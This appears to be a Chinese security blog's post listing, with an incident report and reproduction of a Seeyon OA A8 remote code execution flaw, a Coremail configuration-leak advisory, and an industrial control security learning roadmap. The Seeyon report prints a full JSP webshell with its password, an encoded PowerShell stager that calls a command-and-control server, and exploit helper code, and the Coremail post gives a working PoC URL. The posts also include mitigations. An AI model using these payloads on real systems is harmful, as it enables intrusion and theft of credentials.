【101期】工控漏洞挖掘从入门到实战 - 大咖面对面

by LauCyun 2 days ago 1,146 views

1 大纲

  1. 什么是工业控制系统安全
  2. 工业控制协议安全分析
  3. 工业控制系统漏洞挖掘方法
  4. 总结

2 直播录屏

3 参考

...

Tags Read More


致远 OA A8 远程代码执行漏洞的应急报告

by LauCyun Jun 27 01:52:02 13,842 views

还有三天 HW 行动就要 Game Over,但是红队的攻击越发凶猛,各种藏着捂着的招式都使用出来了,这可不又捕获一只在野的致远 OA 系统 0dayWeary Cat FaceWeary Cat Face

0x0 溯源

根据告警信息及系统日志,发现如下图所示的木马文件:


图1 木马文件

其内容如下:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

通过分析日志,提取出攻击者的相关操作行为,如下图所示:


图2 攻击行为

发现红队使用执行 Powershell 命令,命令如下:

pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACcASAA0AHMASQBBAEgALwBUAEUAbAAwAEMAQQA3AFYAVwBiAFcAKwBiAFMAQgBEACsAbgBFAGoANQBEADYAaQB5AEIAQwBpAE8AagBWAE8AbgBUAFMATgBWAE8AcgBBAGgAeAByAFYAVABVADIAegBzADIARwBlAGQATQBLAHgAaAA0ADIAVQBoAHMATQBRAG0AdgBmADcAMwBtADcAVQBoAFQAYQAvAHAAWABYAHYAUwBJAFMAVAAyAFoAVgA2AGUAbQBYAGwAMgBoADMAVgBPAFAAWQBaAGoASwBuAGkASgBKAFgAdwArAE8AVAA0AGEAdQBhAGsAYgBDAFYATABOAHUAMgBqAFgAaABkAG8AcQBVAE8AUwBqAEkAMQBpAHUAWgBmAGQATwBJAEwAdwBYAHAASQBXAGEASgBOADAANABjAGoARgBkAFgAbAAxADEAOABqAFIARgBsAEIAMwBtAGoAVwB2AEUAMQBDAHgARAAwAFkAcABnAGwARQBtAHkAOABLAGMAdwBEAFYARwBLAHoAagA2AHUANwBwAEQASABoAE0AOQBDADcAWQAvAEcATgBZAGwAWABMAGkAbgBGAGkAbwA3AHIAaABVAGcANABVADYAbgBQADkAdwBhAHgANQAzAEkAcwBEAFQAcwBoAG0ARQBuAGkANwA3ACsATAA4AHUASwBzAHQAVwB6AG8AOQA3AGwATABNAGsAbQAwAGkANAB5AGgAcQBPAEUAVABJAHMAcgBDAEYANQBrADcASABCAGMASgBrAHMAUQBoADkAdABJADQAaQA5AGUAcwBNAGMAWAAwADkAWABsAGoAUQBqAE4AMwBqAFcANwBBADIAZwBNAGEASQBoAGIARwBmAGkAYgBLAEUAQQBXADgASwBXAEoANQBTAG8AVgA5AFAATgB6AEEAWQBWAHMAUwBZAFQAaABLAFkAMAAvADEALwBSAFIAbABtAFYAZwBYAEYAdAB6ADAAWQByAG4AOABUAFYAcQBVAGYAagAvAGwAbABPAEUASQBOAFUAegBLAFUAQgBvAG4ATgBrAG8AZgBzAEkAZQB5AFIAcwArAGwAUABrAEcAZgAwAEgAbwBKAFcAagBaAEwATQBRADIAVwBzAGcAeABpAEQALwBFAEcAUwBUAFcAYQBFADEASQBYAGYAcwBXAE0AZABJAE8AMgBWAGQAWgArAFYAawBsADYAcgBnAFIAUwBJADUAYgBLAGQAYQBqAGoAQwAzAEUATwBZAHoAOABuADYASwBBAHAAdgBnAEMAVQAxADEANgBHAHAANgB3AC8ASgBPADcATAB5AGYASABKADgAYgBxAGkAeQByADMAZABmAGsANABWAEcAQgAwAHQAOQBtAE0ARQAyAEsAUgBSAG4ATwBHADkAMgBIAHQAQgBxAFEAdABEADgATwBLAHkATwBDADEAZwBXAGgAdQBuAE8AWgBLAFgAVAA1AGsAVgBhAGsAaQA3AHEALwA5AFkAdgBWAFgASgBnAGkAVABoADUARgBzADQATQBmAGEAWABvAEYARABXAHMAZwBaAFYANQBzAHMALwBwAG0AUQBYAHIAVABGAEYAMwBZAEsANgBFAGYAWQBxADEAawBrAHYANQBSAGUAdABDAGQAcQBIADEANgBqAEUAYgBnAEMAUgBKAEoAWQBiAHkATwA4AGkAZwBnAEsAWAA4AFkAegB4AE0AbgArAG4AcABrAGUAWQBQAGUAbABxAE8AUwBZACsAUwBsAFUAUABhAHAAUQBCAEsAaQBpAGYALwBDADIAWQBRAHgARQBrADAAYQBSAEQARgBFAEYAKwBEAG4AUABnAFgAVwAwAE4AWABFAGUAVgBkAE0AbgB2AG8AdgBMAE8ANQB5AEEAawBkAG8AaQBiAFoAWABWAGgAbABNAE4AaAA4ACsAcQBDAGoAVgB5AEMALwBMAHEAZwAwAGcAeQBYAFcAMgByAE8ANAB2ADEAUQAvAEEAcAAzAG0AQgBPAEcAUABUAGQAagBsAGIAbQBsAFgASwBhAHgAZABOAGUASgBhAGMAYgBTADMASQBPAEsAUQBlAGgAagBPADAARQBlAGQAZwBuAFAAUgBGADMAbwBZAFIAOQBwAGgAWQAyAEQAeQBxADMANABZAGgANAA2AEwAaQBGAHcAQQBzAEQAUwBBADkAUQBCAFYAbgBqADgATgB1AE0AOABTAEEARQBoAHIANwBuAGMAcwBCAEUAegBvADQAUwBnAEMARQBUADIAWgA5ADQAZwBiAGcAQQBuAHYASwBUADUAbgBqAGQAdQBnAEgAegB4AGIALwBnAHEARgBoADgAbwB5AHgATgBSAFoAZQBBAFoATwBxAGkAdQBUAFcASgBXAEYAeAB5AGMATQByAGcANQBlAEYASgBKADgASgA5AGMAUAA3ADgAdwBBAEUAUQBuAFIAVwBVAE4AcABPAHAAVQBMAEwAUwBDAGMAVABMAFgASAB2AFUAZAA1ADIASwBaAGsASAAzADQASwBZAFAAUQBqAFQAUwBPAE4ARABkAEQAYgA5AHEASABxADAARgA2ADEAZABSAHgAOQAyAEwAVQBqAFIAOQBWAGUASABUAGoAawArAFYAbwA5AHMAUwBaAG0AMABPAC8AVAAyAHkAVAAyAGIAYwA2AEgAawB6AEMAMABNAFEAdABNADQAQgA1AE0AZABHAEQARQBWAE8AUwBEACsATgB4AHIAMgA5ADMAZQAyAHIAYQAzAFkAVgByADEAYwB4AE0AdgBhAGMAVgBWAGsAdABUAHYAUgA1ACsANgAvAFMAMQB5AFEAVAAwAGMARwBkAGcAMwBlADEATQAxAGQAZQBpAFkAQgBiAGMAZAByAGIAbQBLAEoAeQBaADQASwBnAHoAQwBNAHcAQQB2AHAAbwBaAGUAcABvAHkAVgB3AEoATgBNAFQAbwBEAFcAdwB0ADEAcgBLAGkAQgBiAGYAVwBzAGQAbQB0AHUATgBpACsASgBoAGgAOQB0ADAAMQBaADcAMAB5AGQALwBUADMANwAwAGQAcgBzADMAMgA0ADMAVgBtADIARgBmAEQAWQAyAFAAdgB0AEUANgBOAC8AYgA2AEcANgA0AC8AMwAxAHcAUAB1AHYAcAArADcAdgBHADUAZABaAHYAcABXAEEAYwAvAHUAbgBGAHIATwBTAEcAYQBPAG8AawAyADEAWQAyADUANQBTAFIAbQBjAEwAbwBOAEwARwBmAFEAYgBCAHUAaABCAHUAcwBtADMAZwAwAFMAdQB3AGwAUABxADkAVgAvAG8AUAA3AGoAawBGAHcAKwBEAGcARwB1ADUAYwB6ADcARwBNADMATgBBAEIAVwBCAGEAcQBtAHEAZgBVAHUASgB2AGQAcAAyAFYAUABYADYAcgBVAGYAbgA0ADQAdQBOAE0AWQBHADEAegBkAGkAawBPADIAdQBWAEQAUAAzAGkAdAB0AGQAOAA1AHcAdwB4AFMAbQBMAFYAMABsAFgAVgBJAEgAQQBXAEkAOQBYAGQAZABwAHUAdABhAGYAegBCAGMAaQA2AHMAaQBhADcAcwBpAG8AbQB5ADIAKwBwADMAegBhADIATwArADkAdABOACsAWgAxAGMAdgAzAGsAVABOAE4AZgB0AFUAZABPAHgAVABkAHAAegBRAHcAMwB3AEYAdgAzADIAQgB2AGQAUABZAFMAOQB5AEgAZQBWADIAMwBYAFIANAAvAHIAbwA2AGIAVAA3AFMARwBYAEYASABuAFYAWgBNAFYAcwAzAFcAQgBIAGYAZgBhAHAAcQBKAFUAZgA5AG0ANgBKAEYANwBEAFcASQBHAEcAeABmAFcASwB1ADYAYwBlACsARQBhAE0ASgBuAEIAcABSAFgATQBZAG4AcgB1AGIAcwBEAHUATgBGAEEAQgBIAGMAUQBIAGQAVgA3ADMAVABkAEQAUgBjAG8ASQAzAGsAOQBNAFoAdAA5AFgAZgBLAGwARgAvAHAAMwBDAGMAVQBmADgAUwBzAEoAMgBYAEcARgBSAEcAegBWAGsAVAA4AEsAbQA5AHIAdAAyAGgAMQA3AFkANQBPAC8AZQBSAG8AVABWAFAAdgBmAGUAdgBPAEcATwBCAHMAagBVADAAZQBQAGUATQBpAGoAOQBxAEgAVQBNADMAegBVAEsAWABBAEUAVwBoAEoAMQBRAFgAZwBoAEcAbgBSAG4AbgBQAGoAMgBMAE0ATgBTAFMASgAvAHgAcABzAFUARQBvAFIAZwBkAFkASwB6AGIAYwA2AFYAeQBvAGgAcwBjAGUAYgBEAEcAOABJADAATgA4AE8AWABZAGMAMwB3AFEAawBNAFgANQArAC8ATwBKAEsARgBKADAASAA1AGEAKwArAHAAbABxADYAdQA1AG8AQQBSAGoAaQBxAGMAcABzAFkAQQAwAFkAQwBGAGQAVwBYADMAVwBsAEcAZwBsAFMAaQA3AHQAZwBJAFIALwBuAHgAWQBuAFQAZwBwAEoARwA2AHAAegBqAHMAUgB6ADAAcABwAG0ATwB3AE4AeQAvAHoANAAxAG4ASgBGAGUANQBqACsAcgA5AGsAcQBMADQAMABRAFAAdgA2AC8AWgBPAHYAcgAyAGoALwBzAC8AbABRAEcAbABmAG8AKwAzAHUAOQBXAHYAMQAzADQAcABYAFQAKwBhAHQAeABUAEYAegBNAFEAdABPAEgATwBJACsAagBRAGIAVgA4AE0AdgArAFQARgBzAHgAKwBSAGYAVQAyAGcANwB1AHYAeQA0AGIAKwBTAEgAMwBOADIAZABnAE0ALwBLAEMAZgBIAGYAdwBIADIAZwB3AHkAdABzAHcAbwBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApA

对 PowerShell 命令进行分析,确认这个是 MSF 框架生成的 Payload,其CC服务器是114.118.83.230:443。

0x1 复现

1 PoC

访问/seeyon/htmlofficeservlet,如果出现如下特征即为存在:


图3 漏洞验证

2 Exp

用 Burp 发送 POST 请求写入 WebShell,如下图所示:


图4 漏洞利用

如上图所示即为写入 Webshell 成功,访问/seeyon/index1.jsp进一步验证是否写入成功,如下图所示即为成功:


图5 访问WebShell

执行ipconfig命令,如下图所示:


图6 执行命令

最后,补充上传文件名的代码,如下:

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;

public class Main {
    String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
    public String DecodeBase64(String paramString) {
        ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
        String str = "";
        byte[] arrayOfByte2 = new byte[4];
        try {
            int j = 0;
            byte[] arrayOfByte1 = paramString.getBytes();
            while (j < arrayOfByte1.length) {
                for (int i = 0; i <= 3; i++) {
                    if (j >= arrayOfByte1.length) {
                        arrayOfByte2[i] = 64;
                    } else {
                        int k = this.TableBase64.indexOf(arrayOfByte1[j]);
                        if (k < 0) {
                            k = 65;
                        }
                        arrayOfByte2[i] = ((byte) k);
                    }
                    j++;
                }
                localByteArrayOutputStream.write((byte) (((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));
                if (arrayOfByte2[2] != 64) {
                    localByteArrayOutputStream.write((byte) (((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));
                    if (arrayOfByte2[3] != 64) {
                        localByteArrayOutputStream.write((byte) (((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));
                    }
                }
            }
        } catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException) {
            //this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());
        }
        try {
            str = localByteArrayOutputStream.toString("GB2312");
        } catch (UnsupportedEncodingException localUnsupportedEncodingException) {
            System.out.println(localUnsupportedEncodingException.toString());
        }
        return str;
    }
    public String EncodeBase64(String var1) {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        byte[] var7 = new byte[4];
        try {
            int var4 = 0;
            byte[] var6 = var1.getBytes("GB2312");
            while (var4 < var6.length) {
                byte var5 = var6[var4];
                ++var4;
                var7[0] = (byte) ((var5 & 252) >> 2);
                var7[1] = (byte) ((var5 & 3) << 4);
                if (var4 < var6.length) {
                    var5 = var6[var4];
                    ++var4;
                    var7[1] += (byte) ((var5 & 240) >> 4);
                    var7[2] = (byte) ((var5 & 15) << 2);
                    if (var4 < var6.length) {
                        var5 = var6[var4];
                        ++var4;
                        var7[2] = (byte) (var7[2] + ((var5 & 192) >> 6));
                        var7[3] = (byte) (var5 & 63);
                    } else {
                        var7[3] = 64;
                    }
                } else {
                    var7[2] = 64;
                    var7[3] = 64;
                }

                for (int var3 = 0; var3 <= 3; ++var3) {
                    var2.write(this.TableBase64.charAt(var7[var3]));
                }
            }
        } catch (StringIndexOutOfBoundsException var10) {
            // this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());
        } catch (UnsupportedEncodingException var11) {
            System.out.println(var11.toString());
        }
        return var2.toString();
    }
    public static void main(String[] args) {
        Main m = new Main();
        System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));
        System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\test123456.jsp"));
    }
}

0x3 漏洞描述

致远互联是中国协同管理软件及云服务领导供应商,专注专注在协同管理软件领域。致远 A8+ 协同管理软件在很多央企、大型公司都有应用。

致远 A8+ 在某些版本上存在远程 Getshell 漏洞。系统某处在无需登录情况下可直接上传任意文件,攻击者一旦上传精心构造的后门文件即可 Getshell,获得目标服务器的权限。目前利用代码已在野外公开,官方提供的补丁程序仍然可利用。

0x4 漏洞影响

1 危害级别

  • 高危

2 影响版本

  • 致远OA A8-V5 V6.1 SP1
  • 致远OA A8+协同管理软件 V7.0
  • 致远OA A8+协同管理软件 V7.0 SP1
  • 致远OA A8+协同管理软件 V7.0 SP2
  • 致远OA A8+协同管理软件 V7.0 SP3
  • 致远OA A8+协同管理软件 V7.1

3 全球态势

据 ZoomEye 统计,在全球范围内对外开放的致远 OA 资产数多达 29,439 个,其中中国受影响的资产数量有 29,275 个,具体分布情况如下图:


图7 各省分布情况

其中大部分分布在北京、广东、四川、江苏等省,具体如下图所示:


图8 国内TOP 10

0x5 修复建议

1 配置URL访问控制策略

部署于公网的致远 A8+ 服务器,可通过 ACL 禁止外网对/seeyon/htmlofficeservlet路径的访问。

2 修改配置文件

注释Seeyon/A8/ApacheJetspeed/webapps/seeyon/WEB-INF/web.xml中的如下内容,并重启应用程序。

<servlet-mapping>
    <servlet-name>htmlofficeservlet</servlet-name>
    <url-pattern>/htmlofficeservlet</url-pattern>
</servlet-mapping>

2 官方补丁

请尽快联系致远官方,索要官方补丁程序。

厂商官网:http://www.seeyon.com/info/company.html

...

Tags Read More


Coremail 邮件系统配置信息泄露漏洞

by LauCyun Jun 14 14:58:20 16,508 views

6月14日上午,某安全群证实 Coremail 存在 0day,攻击者通过 POC 可获取 Coremail 配置文件信息,包括配置IP、端口、文件路径、数据库密码、用户名等信息。

Coremail 产品诞生于 1999 年,经过二十多年发展,如今从亿万级别的运营系统,到几万人的大型企业,都有了 Coremail 的客户。截止2019年,Coremail 邮件系统产品在国内已拥有 10 亿终端用户  ,是目前国内拥有邮箱使用用户最多的邮件系统。Coremail 今天不但为网易(126、163、yeah)、移动,联通等知名运营商提供电子邮件整体技术解决方案及企业邮局运营服务,还为石油、钢铁、电力、政府、金融、教育、尖端制造企业等用户提供邮件系统软件和反垃圾服务。

——摘自于《百度百科》


图1 某安全群聊天记录

0x0 漏洞描述

由于 Coremail 邮件系统的 mailsms 模块的参数大小写敏感存在缺陷,使得攻击者利用该漏洞,在未授权的情况下,通过远程访问 URL 地址获知 Coremail 服务器的系统配置文件,造成数据库连接参数等系统敏感配置信息泄露。

0x1 影响范围

该漏洞的影响版本如下:

Coremail XT 3.0.1 至 XT 5.0.9 版本,XT 5.0.9a 及以上版本已修复该漏洞。

据统计,全球近 19,136 个独立 IP 使用 Coremail,其中归属中国大陆地区的受影响资产数量为 17,235 个,具体数据如下图:


图2 Coremail资产统计

0x2 漏洞细节

POC:/mailsms/s?func=ADMIN:appState&dumpConfig=/

通过域名或者 IP 等地址 + POC 即可获取目标邮件服务器配置文件,配置文件包括:文件路径、IP、端口、数据库用户、密码等敏感信息。


图3 poc执行结果

0x3 修复建议

Coremail 论客公司已发布补丁进行修复,针对 Coremail XT5 和 Coremail XT3/CM5 版本,补丁编号为 CMXT5-2019-0002 ,程序版本 1.1.0-alphabuild20190524(3813d273) 。

如已安装的程序包的版本号日期早于 20190524,建议用户及时更新补丁:用户可以在 Coremail 云服务中心的补丁管理模块,根据补丁编号下载并按照操作指引进行手动更新。

如有疑问,也可通过 400-888-2488 或 surport@coremail.cn 联系厂商售后人员提供协助。

临时修补方法如下:

  1. 在不影响使用的情况下,仅允许 VPN 连接后才可访问;
  2. 在 Web 服务器(nginx/apache)上限制外网对/mailsms路径的访问。

建议使用 Coremail 构建邮件服务器的信息系统运营者立即自查,发现存在漏洞后及时修复。

...

Tags Read More


我的工控安全学习路线

by LauCyun Jun 13 14:06:53 9,639 views

一、概述

随着德国的“工业 4.0”、美国的“再工业化”风潮、“中国制造 2025”等国家战略的推出,以及云计算、大数据、人工智能、物联网等新一代信息技术与制造技术的加速融合,工业控制系统由从原始的封闭独立走向开放、由单机走向互联、由自动化走向智能化。在工业企业获得巨大发展动能的同时,也出现了大量安全隐患,伊朗核电站遭受“震网”病毒攻击事件、乌克兰电网遭受持续攻击事件和委内瑞拉大规模停电事件等更为我们敲响了警钟。

工业控制系统已成为国家关键基础设施的“中枢神经”,其安全关系到国家的战略安全、社会稳定。工业控制系统所面临的安全威胁是全世界面临的一个共同难题,工业设备的高危漏洞、后门、工业网络病毒、高级持续性威胁以及无线技术应用带来的风险,给工业控制系统的安全防护带来巨大挑战。

1.1 什么是工控安全

所谓工控即是工业控制,工业控制系统(ICS,Industrial Control System)是由各种自动化控制组件以及对实时数据进行采集、监测的过程控制组件,共同构成的确保工业基础设施自动化运行、过程控制与监控的业务流程管控系统。其核心组件包括数据采集与监控系统(SCADA)、分布式控制系统(DCS)、可编程逻辑控制器(PLC)、远程终端(RTU)、智能电子设备(IED)以及确保各组件通信的接口技术。

如图1所示,工业控制系统可简单划分为过程控制网络和现场控制网络两部分。过程控制网络中部署多种关键工业控制组件,通过 SCADA 服务器(MTU)与远程终端单元(RTU)组成远程传输链路。


图 1 典型工业控制系统结构(来源:计算机网络安全公众号)

过程控制网络向下与现场控制网络相连接。现场总线的控制和采集设备(PLC或RTU)一方面将现场设备状态传送到过程控制网络,另一方面还可以自行处理一些简单的逻辑程序,完成现场控制网络的大部分控制逻辑功能,如控制流量和温度、读取传感器数据等。

过程控制网络向上与企业信息网络相连接。在企业信息网络中,企业资源计划(ERP)服务器和制造执行系统(MES)服务器与工业控制系统紧密相连。

在企业信息网络中,邮件、Web、ERP 等业务都需要与互联网相连接,而 MES 需要与工业控制系统相连接,以获得生产过程的各种数据,并下达生产任务。各种病毒和木马就是利用这个通道进入企业信息系统,进而进入到工业控制系统中,这已经成为工业控制系统的主要安全威胁来源。随着信息技术的快速发展,工业控制系统中的无线连接、移动存储介质(U盘)、远程维护和升级等新兴技术和应用的广泛使用,为工业控制系统引入了更多的安全风险。

目前工业控制系统广泛的应用于我国电力、水利、污水处理、石油天然气、化工、交通运输、制药以及大型制造行业,其中超过 80% 的涉及国计民生的关键基础设施依靠工业控制系统来实现自动化作业,工业控制系统已是国家安全战略的重要组成部分。

1.2 工控安全与传统安全的区别

工业控制系统以“可用性”为第一安全需求,而传统安全以“机密性”为第一安全需求。在信息安全的三个属性(机密性、完整性、可用性)中,传统安全的优先顺序是机密性、完整性、可用性,而工业控制系统则是可用性、完整性、机密性。这一差异,导致工业控制系统中的信息安全产品,必须从软硬件设计上达到更高的可靠性,例如硬件要求无风扇设计(风扇平均无故障时间不到 3 年)。另外,导致传统信息安全产品的“故障关闭”原则如防火墙故障则断开内外网的网络连接,不适用于工业控制系统,工业控制系统的需求是防火墙故障时保证网络畅通。

为了进一步比较二者,总结如下表所示:


图 2 工控安全与传统安全的对比

1.3 工控安全特点

1.3.1 工业控制系统固有漏洞

各大厂商工控产品都或多或少存在着漏洞,工业领域存在着软、硬件的更新、升级、换代困难等问题。

工业控制系统协议在设计之初就缺乏安全性考虑,存在明文设计、缺乏认证、功能码滥用等安全威胁。

缺乏完善信息安全管理规定,存在U盘管理、误操作、恶意操作等安全威胁。

1.3.2 工业控制系统建设周期长

一般一个大型工业项目建设周期长达 5-10 年,一套工业系统建设调试到稳定需要的周期很长,无法频繁升级。

1.3.3 其他原因

两化融合使得工控系统而临着更多传统IT网络的威胁。

二、学习路线

上面介绍了工控安全的概念、与传统安全的区别和特点,那么接下来将讨论如何学习工控安全的问题。

工控安全是一个多学科,多技术,多领域的交叉门类。本身工控行业的基础专业是自动化专业,自动化专业就是一个多学科的交叉专业,它涉及计算机专业,电气电子专业、仪表专业、通信专业和信息专业等内容。工控网络涉及多个行业,如能源、交通、水利等。多技术包含控制技术、工艺技术、信息技术、网络技术、通信技术、存储技术等等。

作为初学者想开始学习时,却发现无从下手,因为工控安全涉及的知识面太广也太多了,为了广大初学者能够快速学习,特此整理本学习路线,而本学习路线仅展示了工控安全的冰山一角,还希望大家一起学习,一起交流,一起探讨,一起进步。

接下来,将重点介绍如何由浅入深、循序渐进的 Get 工控安全技能。

2.1 基础篇

正所谓万丈高楼平地起,所以基础的重要不言而喻。首先,无论是做工控安全还是程序员,都需要掌握的基本技能,那就是编程语言,建议从汇编、C/C++ 到 Python 的路线学习。

推荐书目:

  • 《汇编语言(第3版)》王爽·清华大学出版社
  • 《C Primer Plus(第6版)中文版》
  • 《Python编程:从入门到实践》
  • 《Python教程》廖雪峰·https://www.liaoxuefeng.com

除了,学习编程语言之外,还需要学习自动化相关知识,比如:自动化设备的基本原理、组成等。

推荐书目:

  • 《传感器与自动检测技术》
  • 《自动控制原理》
  • 《可编程逻辑控制器(PLC)》默里斯·机械工业出版社
  • 《工业控制网络》
  • 《信号与系统》

2.2 进阶篇

经过上面的基础学习,已经有了一定的知识储备,那接下来将学习自动化软件、协议解析两方面内容。

首先,介绍的是自动化软件,自动化软件分为编程软件、组态软件(SCADA 软件)、实时数据库等,具体可按照行业、厂家进行归类了解,深入了解后,再进行跨厂家、跨行业的深度学习。

至于,需要掌握到何程度,比如:会编写 S7 系列 PLC 梯形图、上载、下载等常用的操作。

计算机与计算机、人交流都涉及到协议,协议的重要就不言而喻,所以我们需要学习网络协议,网络协议分为基础协议和私有协议两大类。


图 3 OSI模型(来源:互联网)

基础协议主要涉及 TCP/IP 分层模型有关的内容,包括常见协议的工作原理和特点、缺陷、保护或替代措施等。学习 TCP/IP 方面的知识有很多原因,比如:要适当地实施防火墙过滤,安全管理员必须对于 TCP/IP 的IP层和 TCP/UDP 层有很深的理解、黑客经常使用 TCP/IP 堆栈中一部分区或来破坏网络安全等。

私有协议主要涉及应用层相关内容,常见的工业协议有 Modbus、S7、Ethernet/IP、DNP3、OMRON FINS、IEC104、OPC UA、OPC DA 等,需要学习、分析它的协议结构、工作原理和特点、缺陷、保护或替代措施等,为后续的漏洞挖掘做相应的铺垫。

推荐书目:

  • 《TCP/IP详解 卷1:协议》

既然我们是搞工控安全,那么下面的书籍很有必要读一读:

  • 《工业控制网络安全技术与实践》姚羽等·机械工业出版社
  • 《工业SCADA系统信息安全技术》饶志宏等·国防工业出版社
  • 《工业控制系统信息安全》肖建荣·电子工业出版社
  • 《工业控制系统安全等级保护方案与应用》蔡皖东·国防工业出版社
  • 《工业网络安全—智能电网,SCADA和其他工业控制系统等关键基础设施的网络安全》[美] Eric D.Knapp·国防工业出版社
  • 《智能电网安全:下一代电网安全》 托尼•弗里克·国防工业出版社

2.3 高手篇

经过以上阶段的学习,先想必对工控安全有一定的认识。本阶段主要学习的内容是固件分析和漏洞挖掘两部分。

2.3.1 固件分析

首先,固件逆向分析是在不对嵌入式系统进行实际运行的情况下,通过对固件文件进行逆向解析,分析固件中各代码模块的调用关系及代码内容,从而发现嵌入式系统中可能存在的漏洞及后门的一种技术手段。分析过程中,将会涉及到固件的识别和解压、固件的静态分析等技术。

固件的识别和解压,可以借用一些成熟的工具软件,如:Binwalk、BAT(Binary Analysis Toolkit)等。对二进制可执行文件进行反汇编分析,可以借用一些成熟的工具软件,如:IDA Pro、Capstone 等。

2.3.2 漏洞挖掘

最后,就是漏洞挖掘,也是最为高阶的学习内容,通过前面学习的基础基本就可进入此阶段了,综合利用上述内容对工业控制系统中的设备、软件、网络等内容进行渗透测试。

目前工控漏洞挖掘方法有很多种,常见的方法包括:基于工控协议的模糊测试漏洞挖掘方法、基于固件逆向分析的漏洞挖掘方法、基于工控软件 ActiveX 控件的漏洞挖掘方法、基于 VxWorks 操作系统的漏洞挖掘方法等,我们将会一一进行学习和研究。

三、如何加入?

3.1 加入条件

招收要求:

  • 热衷于信息安全,对信息安全有着不可磨灭的热情;
  • 对工控系统有一定的认知,熟悉或了解一种或多种工控协议 ModBus、S7、Ethernet/IP、DNP3、OMRON FINS、IEC104、OPC UA、OPC DA 等;
  • 熟悉主流的漏洞利用框架及扫描工具,懂得 Fuzz 技术;
  • 英语能力较强,对国外文章进行翻译复现;
  • 掌握至少一门编程语言,如 Python,Java、Lua 等,至少能上手写代码;
  • 人品良好,不将团队内部资料外泄;
  • 有分享精神,每周输出一篇短文章,每月输出一篇长文章(包含但不限于学习经验、学习笔记、总结知识、分析漏洞原理、靶机实验报告);
  • 执行力强,不推诿分内之事,能及时完成分配的任务;
  • 此未参加任何黑产、非法事项。

加分项:

  • 具备攻防能力者优先;
  • 具备设备漏洞挖掘能力者优先;
